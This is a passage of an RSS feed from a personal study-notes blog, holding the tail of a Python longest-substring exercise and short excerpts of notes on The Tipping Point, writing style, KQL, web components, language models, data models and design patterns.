&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;currentStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;charToRemove&lt;/span&gt;&lt;span style="color:#111"&gt;][&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Remove the old char&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;pop&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;charToRemove&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;None&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Add the new character&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;currentChar&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;index&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;index&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Store the best result that we&amp;#39;ve encountered.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;bestLength&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestLength&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;currentStart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;longString&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;bestStart&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;bestStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#111"&gt;bestLength&lt;/span&gt;&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Run the longest substring algorithm. Print the results to standard output.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;successful&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;with&lt;/span&gt; &lt;span style="color:#111"&gt;open&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;sys&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;argv&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;],&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;fileToRead&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;fileToRead&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;items&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;split&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;substring&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;getLongestSubstring&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;items&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;],&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;substring&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;items&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;]:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;successful&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;else&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#print(&amp;#39;{:20}&amp;#39;.format(items[0]), &amp;#34;Got:&amp;#34;, &amp;#39;{:15}&amp;#39;.format(substring), &amp;#34;\tExpected:&amp;#34;, items[1])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;_________________________&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;successful&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;/&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;count&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;tests passed!&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;_________________________&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;__name__&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;




&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I wrote this solution 2 years ago. What&amp;rsquo;s changed since then?&lt;/p&gt;</description></item><item><title>0. Introduction</title><link>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/00-introduction/</link><pubDate>Fri, 08 Jul 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/social-science/sociology/gladwell-tipping-point/00-introduction/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The Tipping Point is the biography of how little things had big effects.&lt;/p&gt;
&lt;p&gt;From 1992 to 1997, murder rates dropped 64.3% to 770 and total crimes fell by \(\approx\) 50% to 355,893.&lt;/p&gt;
&lt;p&gt;Geometric progressions are non-intuitive, e.g. if given a large paper and asked to fold it 50x, the stack&amp;rsquo;s height will be \(\approx\) the distance to the sun.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This is a popular illustration. The standard paper&amp;rsquo;s thickness, \(h_0\), is \(0.1\) milllimeters, and the distance to the sun, \(d_{sun}\), is \(149.6\) million kilometers. Solving for \(n\) in \( h_{0} \cdot 2^n = d_{sun} \) gives \(n = 50.41 \).&lt;/p&gt;</description></item><item><title>00. An Introduction to Writing</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/00-an-introduction-to-writing/</link><pubDate>Mon, 23 May 2016 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/00-an-introduction-to-writing/</guid><description>&lt;ul&gt;
&lt;li&gt;You need to develop a broad spectrum of style and then be able to move from one end of the spectrum to the other as occasion demands.&lt;/li&gt;
&lt;li&gt;You&amp;rsquo;ll develop a basic style but inability to diversify is being like a baller with a drive but no jump shot.&lt;/li&gt;
&lt;li&gt;Questions to ask: What am I writing about? Who will read what I&amp;rsquo;ve written? Why did I write it?&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;ul&gt;
&lt;li&gt;I&amp;rsquo;m writing about topics that I want to know more about.&lt;/li&gt;
&lt;li&gt;No one might ever read. Nonetheless, I&amp;rsquo;ll put it on the blog to make me more
thorough.&lt;/li&gt;
&lt;li&gt;I write in order to form coherent thoughts and opinions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Complement the techniques with a serious and workable writing program.&lt;/li&gt;
&lt;li&gt;Learn to read with an eye to style. Copy the passage out, then write a structurally similar version on a different topic.&lt;/li&gt;
&lt;/ul&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I should do more of this. Collections on Edge? OneNote Snippet on Mac?&lt;/p&gt;</description></item><item><title>Rationality: From AI to Zombies [Yudkowsky, Eliezer]</title><link>https://www.curiosities.dev/knowing/yudkowsky-rationality/_meta/</link><pubDate>Sun, 01 Feb 2015 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/knowing/yudkowsky-rationality/_meta/</guid><description/></item><item><title>KQL: Overview</title><link>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-overview/</link><pubDate>Sat, 24 May 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/analyzing-datastores/kusto-overview/</guid><description>&lt;p&gt;A Kusto query is a read-only request that processes data that is organized into
a hierarchy of databases, tables, and columns, similar to SQL. &lt;span class="citation-ref"&gt;&lt;a href="#KustoOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Query statements are separated by a &lt;code&gt;;&lt;/code&gt;, and only affect the query at hand.
There are 3 kinds of user query statements: tabular expression statements, &lt;code&gt;let&lt;/code&gt;
statements, and &lt;code&gt;set&lt;/code&gt; statements. &lt;span class="citation-ref"&gt;&lt;a href="#KustoOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The most common kind is the tabular expression statement where the input and the
output consist of tables. Tabular statements contain zero or more operators that
are sequenced by a &lt;code&gt;|&lt;/code&gt; (pipe). Each time the data passes through another
operator, it&amp;rsquo;s filtered, rearranged, or summarized. Because the piping is
sequential, the query operator order can affect both results and performance.
&lt;span class="citation-ref"&gt;&lt;a href="#KustoOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Wiki Page</title><link>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/wiki-page/</link><pubDate>Thu, 18 Apr 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/flashcards-app/web-components/wiki-page/</guid><description>&lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
&lt;p&gt;Starting with this page because it&amp;rsquo;s mostly static. The body is
basically:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;topnav&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;main_div&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;study_buddy_details&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;details_section&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;details_section&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#75af00"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;details_section&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;...&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;footer&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The corresponding web components would be something along the lines of:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;nav-bar&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;nav-bar&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-container&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {Table of Contents}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-section&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-section&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-section&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-section&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;wiki-container&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="wiki-container"&gt;&lt;code&gt;&amp;lt;wiki-container&amp;gt;&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Maybe &lt;code&gt;&amp;lt;wiki-section&amp;gt;&lt;/code&gt; can be a template owned by &lt;code&gt;&amp;lt;wiki-container&amp;gt;&lt;/code&gt;?
Nah, there are benefits to a separate &lt;code&gt;&amp;lt;wiki-section&amp;gt;&lt;/code&gt; component, e.g.,
each component can define its title for use in the ToC. That way, new
&lt;code&gt;&amp;lt;wiki-section&amp;gt;&lt;/code&gt;s can be added with minimal changes to
&lt;code&gt;&amp;lt;wiki-container&amp;gt;&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Introduction to LLMs</title><link>https://www.curiosities.dev/computer-science/large-language-models/intro-to-llms/</link><pubDate>Thu, 14 Dec 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/intro-to-llms/</guid><description>&lt;h2 id="what-is-a-language-model"&gt;What is a Language Model?&lt;/h2&gt;
&lt;p&gt;A language model (LM) is a probability distribution over sequences of tokens.
Suppose we have a vocabulary \(\mathcal{V}\) of a set of tokens, then a
language model \(p\) assigns each sequence of tokens \(x_1, &amp;hellip;, x_L \in
\mathcal{V} \) a probability. &lt;span class="citation-ref"&gt;&lt;a href="#CS324Intro"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;To assign meaningful probabilities to all sequences requires &lt;strong&gt;syntactic
knowledge and world knowledge.&lt;/strong&gt; Given \( \mathcal{V} = \{ \text{ate},
\text{ball}, \text{cheese}, \text{mouse}, \text{the} \} \):&lt;/p&gt;</description></item><item><title>Relational Model Versus Document Model</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/relational-model-vs-document-model/</link><pubDate>Sun, 28 May 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/02-data-models-and-query-languages/relational-model-vs-document-model/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;A relational data model uses tables that consist of rows and columns. A row can
be uniquely identified by a table + ID combination. A column entry can reference
another row in another table through a shared key. One goal is to avoid
duplicating data. However, to answer a real-world query, we end up paying th
cost by joining results from multiple tables. That said, with proper indexing
and prior research, combining results is pretty fast.&lt;/p&gt;</description></item><item><title>Intro to Design Patterns</title><link>https://www.curiosities.dev/computer-science/gang-of-four-design-patterns/intro-to-design-patterns/</link><pubDate>Thu, 30 Mar 2023 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/gang-of-four-design-patterns/intro-to-design-patterns/</guid><description>&lt;h2 id="what-are-design-patterns"&gt;What Are Design Patterns?&lt;/h2&gt;
&lt;p&gt;Arriving at designs that are specific to the problem at hand but general enough
to address future problems and requirements is hard. New designers tend to be
overwhelmed by the options available. Expert designers do not solve every
problem from first principles; they reuse design patterns. &lt;span class="citation-ref"&gt;&lt;a href="#GangOfFour1994-Ch1"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
